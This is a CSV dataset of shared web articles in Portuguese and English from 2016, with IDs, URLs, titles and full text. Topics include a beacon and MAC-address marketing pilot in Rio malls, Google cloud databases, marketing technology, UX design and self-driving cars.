1471446776,CONTENT SHARED,6201946560186605500,4568163094592867577,8313398368522290143,,,,HTML,http://www.mobiletime.com.br/16/08/2016/shoppings-do-rio-testarao-solucao-de-marketing-com-beacons/454562/news.aspx,MOBILE TIME - Shoppings do Rio testarão solução de marketing com beacons,"Shoppings do Rio testarão solução de marketing com beacons Em breve, dois shoppings do Rio de Janeiro farão um teste piloto com uma solução de marketing móvel com beacons desenvolvida pela start-up carioca Fulllab . Serão instalados beacons em seus corredores para possibilitar a comunicação com os consumidores que estiverem circulando neles. Os nomes dos shoppings ainda não podem ser divulgados. Serão as primeiras experiências com a platafmroa Bconext, da Fulllab. A diferença para outras iniciativas com beacons é que nesta solução serão cruzadas informações com uma Plataforma de Gerenciamento de Dados (DMP, na sigla em inglês) da própria Fulllab, que conta com informações sobre hábitos de consumo de 67 milhões de usuários que compram pela Internet. Desta maneira, os shoppings e seus lojistas poderão realizar campanhas muito mais segmentadas e assertivas. Para identificar o usuário, será aproveitada a conexão dele com o Wi-Fi gratuito dos shoppings. Para o acesso, será solicitado o login via Facebook, assim como o Bluetooth ligado (para que o smartphone possa conversar com os beacons). Além disso, a Fulllab desenvolveu uma solução própria para a captura do endereço MAC dos celulares que estiverem conectados aos hotspots Wi-Fi dos shoppings. Um pequeno dispositivo conectado a qualquer nó da rede solicita aos celulares dos visitantes que armazenem seu endereço MAC, para posterior utilização. A coleta é feita em 200 milissegundos. Essa é mais uma informação relevante para a personalização das campanhas. Com base nos dados da DMP, será possível conhecer alguns hábitos de consumo e de navegação dos visitantes dos shoppings, personalizando as campanhas. Por exemplo: uma pessoa que tivesse pesquisado por televisões 4K em seu desktop poderia ser identificada ao entrar no shopping e receber uma mensagem com alguma promoção desse produto de uma loja de televisores ali perto. Para esse cruzamento de informações, são usadas técnicas de cross-browsing, para saber que se trata do mesmo consumidor nos dois momentos, explica Marcelo Najnudel, um dos cofundadores da Fulllab. Foi desenvolvida uma plataforma de mídia para a criação de campanhas pelos lojistas na comunicação com os visitantes dos shoppings. ""No futuro poderemos ter leilão em tempo real pelo consumidor que entra no shopping. O contato com ele poderia ser disputado pelas diversas lojas"", diz Najnudel. ""Mas é preciso tomar cuidado para não ser intrusivo"", completa. A Fulllab usará beacons importados, produzidos pela Estimote, ao custo de US$ 20 cada. A própria Full Lab está trabalhando para que sejam homologados pela Anatel. Apps de m-commerce A plataforma Bconext é apenas um dos produtos oferecidos pela Fulllab. Em seu portfólio, há também a Mobfiq, uma plataforma para a construção de apps para sites de e-commerce. No ar desde janeiro de 2015, a plataforma está por trás de mais de 20 apps, incluindo aqueles de redes como Polishop, Taco e Sephora. Mais cinco projetos devem ser lançados até o fim do ano, incluindo um no México, diz Pedro Vasconcellos, outro cofundador da Fulllab e responsável pela área comercial da empresa. O modelo de negócios da Mobfiq é similar àquele adotado por plataformas de comércio eletrônico: há cobrança de uma taxa de instalação e de um percentual sobre as vendas, no caso, 3%.",pt
1471457065,CONTENT SHARED,-5613218615976195909,-5639303336519418445,-872851941372479567,,,,HTML,http://computerworld.com.br/google-lanca-tres-solucoes-de-banco-de-dados-em-nuvem,Google lança três soluções de banco de dados em nuvem,"O Google segue em sua campanha para conduzir empresas rumo a plataformas em nuvem pública. A gigante de buscas apresentou três novas ferramentas de bancos de dados em um modelo de cloud. O pacote é composto pela segunda geração da solução de gestão Cloud SQL, pelo Cloud Datastore e Cloud Bigtable, serviços focados no universo NoSQL. Cada um desses produtos baseia-se em acordos de níveis de serviço e garantia de disponibilidade. As ofertas engrossam a competição contra empresas como Amazon Web Services, Microsoft e IBM. Dominic Preuss, gerente de produto para storage e databases da provedora, cita que muitas empresas estão esperando o lançamento de produtos para adotar essas tecnologias.",pt
1471471348,CONTENT SHARED,-825802007843492131,3217014177234377440,-8219826409545816480,,,,HTML,http://www.youwilldobetter.com/2014/08/webinars-gravados-realizados-pelo-pmi-sao-paulo-pela-fixe/,[PDUs] Webinars Gravados realizados pelo PMI São Paulo e pela FIXE,"Enviado por Redação FIXE On 4 de agosto de 2014 1 Comentários Autogestão, Gestão de Projetos, Gestão por Processos, Palestras gratuitas, Webinars Mais de 80 horas de palestras gratuitas a sua disposição!! Assista e Registre as PDUs! Disponibilizamos a seguir todos os webinars gravados que foram realizados pelo PMI São Paulo desde agosto de 2013 e pela FIXE desde Fevereiro de 2014. Os webinars gravados poderão ser usados por profissionais certificados pelo PMI, que possuem certificações como CAPM, PMP, PMI-PR e PMI-SP, para ganhar Professional Development Units (PDU's). Cada webinar dará ao ouvinte uma PDU conforme as categorias do Novo Programa CCR , identificadas com o triângulo de talentos para cada webinar, com alguma das figuras a seguir: PRÓXIMO FIXE WEBINAR Será em 24-08-2016 Palestra: Serviços de um PMO e sua relação com a Maturidade em Gerenciamento de Projetos Temos o prazer de convidá-lo para o próximo FIXE Webinar organizado pela FIXE Trainings : Acesso: deverá se registrar neste evento para receber o Link para assistir ao webinar ao vivo. Registre-se para receber as instruções sobre como reportar as PDUs no PMI USA, conforme o novo Programa CCR do PMI. Os dados para reportar as PDUs dos FIXE Webinars são diferentes dos indicados para os webinars organizados pelo PMI São Paulo. - Tratamento Holísticos das Incertezas - Muito além da Análise de Riscos (João Carlos Mosquim) Mudando a forma de pensar e agir no gerenciamento ágil de projetos com a união do Agile+PMBOK (Fábio Cruz) Usando Soft Skills e Formando Equipes de Alto Desempenho ( Vitor Massari) #27 - Gestão do Conhecimento Sem Fronteiras (Ma. Heloiza R. Magrin) #28 - Os 21 erros clássicos da Gestão de Projetos (Eli Rodrigues) Coaching na Gestão de Projetos (Katiany Hipólito de Oliveira) #30 - Indicadores dos Ativos Intangíveis na Gestão do Portfolio de Projetos e Processos (Maria Angélica Castellani) Entregue valor ou seja esquecido (Tissiana Costa) #55 - Prepare-se para a 4˚ onda da Inovação (Eduardo Moreira da Costa) Assista também, outros FIXE WEBINARS gravados, realizados pela FIXE, onde poderá reportar as correspondentes PDUs. Indicadores dos Ativos Intangíveis na Gestão do Portfolio de Projetos e Processos (Maria Angélica Castellani) Em parceria com o PMI São Paulo PM Mind Map® - O Novo Modelo Visual para Gestão de Projetos (Paulo Mei) - Fundamentos de BPM e sua Integração com a Gestão de Projetos (Fábio Hideki Kawauchi) #20 - Mudando Paradigmas na Gestão de Projetos com o Design Thinking (Eduardo Freire) #26 - O Impacto da Estratégia e da Governança Corporativa no PMO (Evodio Kaltenecker) #27 - Certificações PMI, onde cada uma poderá agregar valor na sua carreira (Fábio Pitorri) Palestra: Serviços de um PMO e sua relação com a Maturidade em Gerenciamento de Projetos será em 24-08-2016 às 20h- 1 PDU (Técnico) Acesso: deverá se registrar neste evento para receber o Link para assistir ao webinar ao vivo. Se ainda não fez, registre-se para receber as instruções sobre como reportar as PDUs no PMI USA, conforme o Novo Programa CCR do PMI . Periodicamente atualizaremos esta página com os próximos webinars Esperamos Você!! Gostou?? Compartilhe!! 21252 Visualizações totais 68 Visualizações Hoje Comentários via Facebook comentários",pt
1471477815,CONTENT SHARED,-5283009029345397378,4209517478660372522,5185454684179635438,,,,HTML,https://cloud.google.com/appengine/docs/python/microservices-on-app-engine,Microservices Architecture on Google App Engine,"Though mostly isolated, services share some App Engine resources. For example, Cloud Datastore, Memcache, and Task Queues are all shared resources between services in an App Engine project. While this sharing has some advantages, it's important for a microservices-based application to maintain code- and data-isolation between microservices.",en
1471511662,CONTENT SHARED,-3460883803089049921,8968131284214320024,529381913777059820,,,,HTML,http://chiefmartec.com/2016/03/marketing-technology-landscape-supergraphic-2016/,Marketing Technology Landscape Supergraphic (2016) - Chief Marketing Technologist,"I'm posting this from the 2016 MarTech USA conference in San Francisco - a fitting venue to release the 2016 marketing technology landscape supergraphic . ( Finally! ) You can click on the image above for a larger version - which you'll obviously need in order to be able to see anything more than a colorful blur. But if you really want to zoom in and explore the landscape, you should download one of the hi-res versions here: 2016 Marketing Technology Landscape Supergraphic (PDF) 2016 Marketing Technology Landscape Supergraphic (1,200dpi JPEG) Three important notes before we dive into some discussion: I expressly grant permission to reproduce copies of this graphic in any media, digital or physical, as long as it is reproduced ""as is"" and in full. Feel free to share it in blog posts, presentation slide decks, reports, or any other vehicle where you would find it helpful. I must disclaim that this graphic is only my personal approximation of the marketing technology landscape and is surely rife with errors and omissions. It is intended only for discussion purposes. (Vendors: if I did not include you or you feel I miscategorized you, I apologize - please set the record straight in the comments thread below.) I want to acknowledge the key sources of data I used in my research to build this graphic: CabinetM (who was kind enough to give me a report of their whole database!), Capterra , G2 Crowd , Google , Growthverse , LUMA Partners , Siftery , TrustRadius , and VB Profiles . I used these services both to discover new marketing tech companies and to triangulate my categorization schema. As always, I owe a large debt of inspiration to Terry Kawaja , the godfather of vendor LUMAscapes . Whew - 3,874 marketing technology solutions on a single slide As mind-boggling as it is, the marketing technology landscape grew even bigger. I've fit 3,874 marketing technology solutions on to a single 16×9 slide - almost twice as many as last year. I say ""solution"" instead of ""company,"" because some companies are included multiple times in different categories. The big enterprise software firms - Adobe, Google, IBM, Microsoft, Oracle, Salesforce, SAP - have the most instances of their logo on the page, but there are others too. I loosened my restrictions on ""one logo per page"" a little bit to better reflect vendors who sell solutions in many categories across the landscape. But given space constraints, I was still pretty miserly about putting most companies in only one category - usually the one that seemed to be primarily represented on the home page of their website. I estimate the de-duped count of logos is closer to 3,500 - approximately 87% growth over last year . That's really amazing when you consider how large the landscape was last year already. Here's a recap of the evolution of this landscape: You can view and read about the earlier versions of the marketing technology landscape here: August 2011 , September 2012 , January 2014 , and January 2015 . Note that these are not stricly apples-to-apples comparisons. In each landscape edition, I have adjusted the categories - added some, removed some, redefined others - and varied my heuristics for inclusion. We're living in a rapidly changing industry, and I treat this landscape as a living document that continues to evolve to the environment. In particular, for the 2016 edition, I removed most of the ""infrastructure"" categories that were in the 2014 and 2015 editions - databases, cloud infrastructure, big data, web dev - because while they're important to marketing, they're more general purpose in nature. And I really needed the space. But I also added new categories. Here's the breakdown of the number of solutions in each category: The top 5 largest categories, by number of solutions included, are: Sales Automation, Enablement & Intelligence (220) Social Media Marketing & Monitoring (186) Display & Programmatic Advertising (180) Marketing Automation & Campaign/Lead Management (161) Content Marketing (160) I know, most of these categories are extremely broad. You could do an entire landscape solely on the subcategories within content marketing (and, indeed, people have). My goal with this landscape is to give you the 50,000-foot overview of the entire space - which forced a trade-off with granularity. 6 Marketing Technology Capability Clusters This year I restructured the entire way the landscape is organized. The 2014 and 2015 editions were laid out with a kind of ""stack"" metaphor - infrastructure and platform systems at the bottom, experience and operations applications on top. This represented my belief that marketing technology would logically coalesce around a single platform in any given organization - with a small oligopoly of platform providers competing for that starring role - which would then be augmented by a collection of more specialized applications that would plug into that platform as third-party solutions. However, that ""one platform to rule them all"" model has not materialized in a lot of marketing departments. (Although smaller companies are more likely to have a single solution.) Instead, many companies have multiple platforms in their marketing technology stacks . It's not unusual for them to have one vendor for their web experience platform, a different one for their marketing automation platform, another for the CRM, and so on. This has become more viable for two reasons: Almost every vendor in the space has invested engineering resources in making it easy (or at least easier) to integrate with the rest of the marketing technology ecosystem. Most marketing tech products now come with plug-and-play support for the major CRM and marketing automation platforms. The category of products known as iPaaS (integration-platforms-as-a-service) - along with new generations of tag management and other ""marketing middleware"" solutions - has grown significantly, making it easier to connect most or all of an organization's marketing technology to a common data exchange backbone. This has empowered marketers to select ""best of breeds"" solutions and avoid vendor lock-in with a single marketing technology provider - and, indeed, many are now successfully embracing that more open and heterogenous approach. So I felt this year's marketing tech landscape should reflect that shift. Instead of a platform-emphasized ""stack"" metaphor, I decided to organize the landscape around 6 marketing technology capability clusters : Advertising & Promotion Content & Experience Social & Relationships Commerce & Sales Data Management With many of the marketing teams I've met with, these seem to be the clusters that most often divide key vendors in a multi-platform environment. It's also where practice expertise - the skillsets of different marketers and marketing technologists - seems to vary the most from one cluster to the next. A dynamic environment with few simple explanations I'm sure many people will have opinions about this new landscape, and there will be a range of theories about its nature and its future. I'll follow up with more thoughts about this myself too, after reflecting on the feedback. But my current thinking about ""the nature and future of martech"" is mostly captured in these three posts I wrote last year: But with all theories, however - mine as much as anyone's - I would just caution that this is a complex space . Visualize the interference pattern of many waves colliding together. There are many different forces acting on this space in parallel - accelerating digital disruption across the whole of humanity as the massive, overarching one. As a result, I believe it's hard to fit everything into a single, simple explanation. For instance, ""consolidation,"" while certainly true to some degree, is an oversimplification on its own. Some marketing technology vendors are exiting (""consolidation""), yet still other new ones continue to enter and innovate: One thing is certain though: marketing technology is a fascinating space . P.S. In addition to my role as editor of chiefmartec.com, I'm also the co-founder and CTO of a marketing software company myself - ion interactive , which makes an interactive content platform for marketers. Naturally, my own company is included in this landscape graphic, but only once. You can find us in the upper left corner of the Interactive Content category box. I've also included every competitor that I've ever heard about in that category box as well - 101 of them, by my count - in the interest of keeping this graphic as neutral and as unbiased as possible.",en
1471520397,CONTENT SHARED,-1633984990770981161,2195040187466632600,1000828687449358272,,,,HTML,https://medium.com/@roxrogge/ux-ou-ui-4c0a1bcb4b83,UX ou UI?,"UX ou UI? Tenho escutado essa pergunta com frequência e sempre me dói muito respondê-la. Há um bom tempo vemos vários comentários sobre UX Designer e UI Designer sem que as pessoas saibam, de fato, o que faz cada um desses profissionais. Mas antes de falarmos sobre as diferenças vamos rapidamente refletir e voltar uns 15 anos. Parece muito tempo, não? Mas você parou para pensar como passou rápido e como foi nossa evolução tecnológica? Em 2002, quando minha filha tinha um ano, eu e meu marido já estávamos preocupados com a segurança dela na adolescência. Um dia estávamos conversando e ele olhou para o seu incrível celular mega blaster, um motorola V120 do Guga, com rádio FM e gravador, e disse: - Não se preocupe, quando nossa filha tiver 15 anos o celular já vai ter câmera e vamos conseguir vê-la em real-time onde ela estiver! E não é que ele estava certo? Evoluiu muito rápido. E como você acha que aconteceu essa evolução? Foi apenas pela busca da beleza do produto ou pela necessidade do usuário? Nessa época as siglas UX e UI não eram tão populares para definir cargos: éramos todos Designers e fomos trabalhando mesmo sem uma denominação específica e muitos sem perceber o que já estavam fazendo. A necessidade do usuário e os avanços tecnológicos criaram uma demanda especializada. Mesmo que a experiência do usuário sempre tenha existido, ela começou a ganhar uma definição nos anos 90, quando Don Norman disse em uma entrevista: ""Eu inventei o termo experiência do usuário porque achava que interface do usuário e usabilidade eram muito restritos, eu queria cobrir todos os aspectos da experiência de uma pessoa com o sistema, incluindo design industrial, gráficos, a interface, a interação física e o manual. Desde então o termo tem se espalhado amplamente..."" [Don Norman / meados de 1990] Chegamos em um tempo em que existem milhares de apps no celular, smart watch, tablet, smart tv, IoT [internet das coisas] e a todo momento surgem novos produtos que usam interfaces e precisam de uma boa experiência para o produto ter vida no mercado. Nesta última década a área de design se desenvolveu com muita rapidez, e por isso evoluiu também o número de especialidades na profissão e as formas de denominá-las: Design, Web Design, Web-Dev, Design visual, Design de interface, IxD, Design de Interação, Design de Produto, UI, UI Design, UI/UX Design, Usabilidade, UX, UX Design, Design da Experiência do usuário, UX Strategy, UCD, Design Centrado no Usuário, Design de Aplicação, Design de Navegação, User Experience Researcher, Design Industrial, Design da Informação, AI, Information Architect, Arquiteto da Informação, Data-Informed Design, Data-Driven Design, Data-""whatever"" Design, Service Design, só para mencionar algumas. Tem design para tudo hoje em dia! As funções se tornam disciplinas isoladas entre suas especializações. E com isso há dúvidas na área e muitas pessoas não sabem que caminho seguir. Então afinal, qual a diferença entre UX e UI? De forma simplificada , please? UX, User Experience, Experiência do Usuário UX é toda a pesquisa para uma melhor interação e comportamento do site/app/produto/marca. Pense em pesquisa, testes, experiência, emoções, conteúdo, hierarquia, fluxos... UI, User Interface, Interface de Usuário UI é o visual do site/app/produto/marca. Pense em interação, harmonia visual, fonte, respiro, tipografia, cores, formas... Podemos dizer que em um determinado projeto, o UX pesquisa e testa como o produto vai dar prazer ao usuário, e o UI cuida da interface, a parte visual do produto. Mas e aí? UX é parte de UI? Ou UI é parte de UX? Eles andam de mãos dadas desde sempre. É impossível pensar um projeto sem pesquisa, sem saber quem vai usar o produto, sem pensar nas frustrações e motivações dos usuários. É o UX que direciona a escolha da UI. E a UI também determina a experiência. Usando uma metáfora simples: você não pode ir à partida de futebol no estádio de um time usando uma camiseta da mesma cor do time rival. Tem que verificar e pesquisar! Da mesma forma, um aplicativo não pode ter as cores do concorrente. ... Enfim, experiência e interface são multidisciplinares, envolvendo os aspectos da psicologia, neurociência, antropologia, ciência da computação, design gráfico, design industrial e ciência cognitiva. É preciso pesquisar, desenvolver empatia, e usar métricas. Sem pesquisa não há uma boa experiência do usuário e sem design não existirá uma boa interface, e sem os dois não existirá um produto inovador. As disciplinas não podem ser tratadas isoladamente. Seria tipo avião sem asa, fogueira sem brasa, futebol sem bola ou Piu-Piu sem Frajola! Como comentei no post anterior, sou apaixonada pela experiência do usuário e amo design. Sinceramente não consigo separar UX & UI e acredito que todo profissional de design já tenha os dois incorporados em seu trabalho, mesmo que não perceba. E minha filha tem um belo celular com câmera, com UI e UX dignos de 2016!",pt
1471525746,CONTENT SHARED,-5361115220834660562,-6067316262393890508,-2873231259470527751,,,,HTML,https://techcrunch.com/2016/08/18/ubers-first-self-driving-cars-will-start-picking-up-passengers-this-month/,Uber's first self-driving cars will start picking up passengers this month,"It's been a while since news broke in early 2015 that Uber was working on self-driving cars . Earlier this year, the company openly admitted it was testing cars in Pittsburgh, but we haven't heard much more over the last 18 months. With Google, the self-driving car leader, slowly making progress with its autonomous cars, you'd be forgiven for thinking Uber's efforts are far behind and barely visible in its frenemy 's rearview mirror. Well think again! It turns out Uber has been making very rapid progress on its plan to replace its one million-plus drivers with computers. Bad news if you're an Uber driver... In an interview with Bloomberg , CEO Travis Kalanick revealed that the company is preparing to add self-driving cars to its fleet of active drivers in Pittsburgh as soon as this month. The company will deploy around 100 modified Volvo XC90s outfitted with self-driving equipment. Each vehicle will be staffed by one engineer, who can take the wheel as/when needed, and a co-pilot to observe and take notes. There will also be a ""liquid-cooled"" computer sitting in the trunk recording trip and map data. That will mean that regular Uber punters in the city have a chance of getting an autonomous vehicle for their ride - their trip will be free if so. Precious little was known of Uber's plans for self-driving cars, but the company told Bloomberg that it will outfit cars with autonomous driving kits rather than develop its own vehicles as Google is doing. To do that, Uber has quietly snapped up Otto, a promising startup that launched this year to bring self-driving technology to trucks . Otto's technology can be fitted to existing trucks, and, according to Bloomberg, the technology will be adapted to create a lidar - laser detection - system to power autonomous Uber vehicles. The Otto acquisition is hugely notable, not only for the technology but the personnel involved. The company was founded by former Googlers Anthony Levandowski, Lior Ron, Don Burnette, and Claire Delaunay. Levandowski led Google's self-driving car efforts, Ron was an executive on Google Maps and Motorola, while other staff have spent time with Apple, Tesla and other notable automotive firms. The deal is set to close as soon as this month, after which Levandowski will lead Uber's driverless car efforts. In addition, two new R&D centers will open up to speed the technology's development. ""We were really excited about building something that could be launched early,"" Levandowski told Bloomberg of why he left Google. His additional comments - which include calling Kalanick a ""brother from another mother"" - hint at frustrations with the slow speed of development from Google's self-driving project. Uber, it seems, is more willing to move forward with self-driving at a faster pace. Time will tell how that plays out, but we'll get our first hint soon enough. Featured Image: Uber/Bloomberg",en
1471525780,CONTENT SHARED,7286613907013366088,-6067316262393890508,-2873231259470527751,,,,HTML,http://www.iii.org/issue-update/self-driving-cars-and-insurance,Self-Driving Cars and Insurance,"THE TOPIC Each new generation of cars is equipped with more automated features and crash avoidance technology. Indeed, many of today's high-end cars and some mid-priced ones already have options, such as blind-spot monitoring, forward-collision warnings and lane-departure warnings. These will be the components of tomorrow's fully automated vehicles. At least one car manufacturer has promised to have fully automated cars available by the end of the decade. Except that the number of crashes will be greatly reduced, the insurance aspects of this gradual transformation are at present unclear. However, as crash avoidance technology gradually becomes standard equipment, insurers will be able to better determine the extent to which these various components reduce the frequency and cost of accidents. They will also be able to determine whether the accidents that do occur lead to a higher percentage of product liability claims, as claimants blame the manufacturer or suppliers for what went wrong rather than their own behavior. Liability laws might evolve to ensure autonomous vehicle technology advances are not brought to a halt. RECENT DEVELOPMENTS In January 2016 U.S. Transportation Secretary Anthony Foxx released a new policy updating the National Highway Traffic Safety Administration's (NHTSA) 2013 preliminary policy statement on autonomous vehicles. In March 2016 the agency also announced a 10-year $3.9 billion commitment to support the development and adoption of safe vehicle automation. According to a statement, NHTSA will propose guidance to industry on establishing principles of safe operation for fully autonomous vehicles in mid-2016. Nevada was the first state to allow the use of autonomous vehicles in 2011. Since then, five other states-California, Florida, Michigan, North Dakota and Tennessee-and Washington, D.C., have passed autonomous vehicle legislation. Sixteen states introduced legislation related to autonomous vehicles in 2015, up from 12 states in 2014, nine states and D.C. in 2013, and six states in 2012. In 2015 Tesla Motors Inc. activated its Autopilot mode, which allows autonomous steering, braking and lane switching. In July 2016 the first fatality from an autonomous vehicle was reported. The National Highway Traffic Safety Administration is investigating what role if any that the Tesla Motors Model S Autopilot technology had in a Florida collision between the vehicle and a tractor trailer. Tesla said autopilot sensors failed to detect the truck, turning in front of a Model S, against a bright sky. The crash killed the vehicle's owner. An Insurance Information Institute Pulse survey conducted in May 2016 found that 55 percent of consumers say that they would not ride in an autonomous vehicle. Earlier polls found that 50 percent said that a driverless car's manufacturer should bear responsibility in case of an accident, and only 25 percent say that they would be willing to pay more for a driverless car to cover the manufacturer's liability in case of an accident. According to the Insurance Institute for Highway Safety, it is anticipated that there will be 3.5 million self-driving vehicles by 2025, and 4.5 million by 2030. However the institute cautioned that these vehicles would not be fully autonomous, but would operate autonomously under certain conditions. On June 6, 2016 a Google prototype autonomous vehicle (Google AV) was involved in a minor collision with no injuries. On June 15, 2016 a Google AV was rear-ended with no injuries. A study by the Insurance Institute for Highway Safety (IIHS) has found that improvements in design and safety technology have led to a lower fatality rate in accidents involving late model cars. The likelihood of a driver dying in a crash of a late model vehicle fell by more than a third over three years, and nine car models had zero fatalities per million registered vehicles. Part of the reason for the lower fatality rate might also stem from the weak economy, which led to reduced driving, the IIHS said. The study, which looked at fatalities involving 2011 model year cars over a year of operation, found that there were an average of 28 driver deaths per million vehicle car years through 2012, down from 48 deaths for 2008 model cars through 2009. Eight years ago there were no models with a zero death rate. The IIHS attributed the lower death rate to the adoption of electronic stability control, which has reduced the risk of rollovers, and to side airbags and structural changes that improve occupant safety. However, the IIHS said, there was a wide gap between the safest and the least safe models, with the riskiest cars mostly small lower cost models. General Motors will offer a super cruise system with hands-free automated driving on freeways that have proper lane markings by 2016. However, drivers will have to be ready to take over control of the vehicle and cars will be fitted with a device designed to alert the driver to pay attention even during highway driving. Toyota said it plans to offer crash-avoidance technology in Toyota and Lexus models by 2017. Daimler is now offering a system on certain models that allows a car to brake, accelerate and remain in its lane without human intervention at speeds of under 16 miles an hour. According to the Google Self-Driving Car Project, as of June 2016, there were 24 Lexus RX450h SUVs on the road and 34 other prototype vehicles. 1,725,911 miles were driven autonomously, and 1,158,921 miles were driven in manual mode. A survey by IEEE, a technical professional organization dedicated to advancing technology for humanity, of more than 200 experts in the field of autonomous vehicles found that of six possible roadblocks to the mass adoption of driverless, these three were ranked as the biggest obstacles: legal liability, policymakers and consumer acceptance. Cost, infrastructure and technology were seen as less of a problem. When respondents were asked to specify the year in which some of today's commonplace equipment will be removed from mass-produced cars, the majority said that rear view mirrors, horns and emergency brakes will be removed by 2030, and steering wheels and gas/brake pedals will follow by 2035. In February 2014 federal agencies approved vehicle-to-vehicle (V2V) communications systems that will allow cars to ""talk"" to each other so that they know where other vehicles are and can compensate for a driver's inability to make the right crash avoidance decisions because of blind spots or fast moving vehicles. V2V communication uses a very short range radio network that, in effect, provides a 360-degree view of other vehicles in close proximity. The Department of Transportation estimates that safety systems using V2V communications will be able to prevent 76 percent of crashes on the roadway. A study of the benefits self-driving vehicles by the RAND Corporation, released in 2016, includes a discussion of liability insurance options. The study , ""Autonomous Vehicle Technology: A Guide for Policymakers,"" explores the benefits, drawbacks and risks of autonomous vehicle use. According to the study, manufacturer liability is likely to increase, while personal liability is likely to decrease. Benefits include lower driver error that hopefully results in fewer vehicle crashes, better mobility to those otherwise impaired and drawbacks include an unquantified impact on occupations and economies based on public transit, crash repair. A named risk is inconsistent state regulations. BACKGROUND Self-driving cars are definitely on the way, but it may be some time before we are all being conveyed by fully automated vehicles. Most accidents are caused by human error so if this factor can be minimized by taking control of the moving vehicle away from the driver, the accident rate should tumble. Data from the Institute for Highway Safety (IIHS) and Highway Loss Data Institute (HLDI) already show a reduction in property damage liability and collision claims for cars equipped with forward-collision warning systems, especially those with automatic braking. The exact percentage varied depending on the car manufacturer. Among the major automakers testing self-driving cars are Audi, Ford, Mercedes, Nissan, Toyota and Volvo. The cars have some ability to travel without the driver intervening but only in certain situations, such as low speed stop-and-go highway traffic. Slow speeds give the car's computers more time to process information and react. Experts vary as to when the changeover to self-driving cars will occur. A transport scholar at the University of Minnesota believes that by 2030 every car on the road will be driverless. Driverless shuttles are already being tested on some university campuses in Europe. An automotive study by IHS, a global information company, titled ""Emerging Technologies: Autonomous Cars-Not If But When"" forecasts that self-driving cars that include driver control will be on highways around the globe before 2025 and self-driving ""only"" cars by 2030. Nearly all of the vehicles in use are likely to be self-driving cars or self-driving commercial vehicles sometime after 2050, it says. The study notes two major technology risks, software reliability and cyber-security. We do not yet know how the driving public will react to the vehicles that come on the market. For most drivers there will be a steady progression from a minimally or semi-automated car to the next level. A Status Report from HLDI suggests that it could take as long as three decades for 95 percent of all registered cars to be equipped with crash avoidance systems. Forward-collision warning systems have been available since 2000, HLDI says, and if they follow their current trajectory, they will not be available in most cars until 2049. In addition, some people who enjoy driving and do not want control to be taken from them may resist the move to complete automation. Already there are some who say they refrain from using the cruise control feature because they prefer to maintain control themselves. The risk of an accident is unlikely to be completely removed since events are not totally predictable and automated systems can fail. In addition, the transition from hands-off driving to hands-on promises to be tricky. The need for drivers to control the car in an emergency is fraught with questions, not just those involved in the automotive technology. What kind of training will people need to safely handle these semi-autonomous vehicles? How well prepared will drivers be to handle emergencies when the technology returns control to the driver? How will beginning drivers gain the necessary experience and how will experienced drivers stay sharp enough when they are only infrequently called upon to react? Autonomous cars have been compared to airplanes on auto-pilot. But while a pilot and a driver both need to be able to make split-second decisions, there are likely to be fewer times when this skill is called upon in a plane than in a car and, in addition, the pilot is highly trained in how to interact with the automated system. The Impact on Insurance Some aspects of insurance will be impacted as autonomous cars become the norm. There will still be a need for liability coverage, but over time the coverage could change, as suggested by the 2014 RAND study on autonomous vehicles, as manufacturers and suppliers and possibly even municipalities are called upon to take responsibility for what went wrong. RAND says that product liability might incorporate the concept of cost benefit analysis to mitigate the cost to manufacturers of claims. Coverage for physical damage due to a crash and for losses not caused by crashes but by wind, floods and other natural elements and by theft (comprehensive coverage) is less likely to change but may become cheaper if the potentially higher costs to repair or replace damaged vehicles is more than offset by the lower accident frequency rate. The number of vehicle-related workers compensation claims, now responsible for a large but decreasing portion of claim costs according to the National Council on Compensation Insurance, should continue to drop as will the share of healthcare and disability insurance costs related to auto accidents. Regulation: Insurance is state-regulated. Each jurisdiction has its own set of rules and regulations for auto insurance (and so far for self-driving cars). Basically, there are two kinds of liability systems. In some states liability is based on the no-fault concept, where insurers pay the injured party regardless of fault, and in others it is based on the tort system. But there are many important differences among the states in the regulations that now exist within each category, see report on No-Fault Auto Insurance. Will the auto insurance system change to be more uniform with the arrival of self-driving vehicles and will the federal government play a larger role? If car manufacturers are required to accept more responsibility for damage and injuries, they might push for a greater role for the federal government to eliminate some of the cost of complying with the rules of 51 jurisdictions. Underwriting: Initially, many of the traditional underwriting criteria, such as the number and kind of accidents an applicant has had, the miles he or she expects to drive and where the car is garaged, will still apply, but the make, model and style of car may assume a greater importance. The implications of where a car is garaged and driven might be different if there are areas set aside, such as dedicated lanes, for automated driving. During the transition to wholly autonomous driving, insurers may try to rely more on telematics devices, known as ""black boxes,"" that monitor driver activity. Some drivers may object to them based on concerns about privacy. Usage-based insurance policies, which depend on data about the driver's behavior submitted by an electronic device in the driver's car, have attracted a smaller than expected percentage of the driving population, possibly because people do not want to be monitored. According to the National Association of Insurance Commissioners, use of telematics is forecast to grow to up to 20 percent within the next five years. Liability: As cars are become increasingly automated the onus might be on the manufacturer to prove it was not responsible for what happened in the event of a crash. The liability issue may evolve so that lawsuit concerns do not drive manufacturers and their suppliers out of business RAND has suggested some kind of no-fault auto insurance system. Others foresee something akin to the National Childhood Vaccine Injury Act, a no-fault compensation program for vaccine recipients who suffer a serious adverse reaction when vaccinated. The legislation was passed in 1986 in response to the threat that life-saving vaccines might become scarce or even unavailable if manufacturers, overwhelmed by claims of injury, scaled back or terminated production. Repair Costs: While the number of accidents is expected to drop significantly as more crash avoidance features are incorporated into vehicles, the cost of replacing damaged parts is likely to increase because of the complexity of the components. It is not yet clear whether the reduction in the frequency of crashes will lead to a reduction in the cost of crashes overall. Automobile ownership appears to be on the decline, and more people in urban areas are opting for public transportation and shared rides. Some people wonder whether when all vehicles are self-driving anyone will actually own a car. Cars may belong to a company, municipality or other group and may be parked away from the center of the community in a location from which they can be summoned by phone. A study by the University of Texas at Austin of how the advent of autonomous cars may change vehicle ownership found that each shared autonomous vehicle (SAV) replaced about 11 conventional vehicles. The study assumed that only 5 percent of trips would be made by SAVs. © Insurance Information Institute, Inc. - ALL RIGHTS RESERVED",en
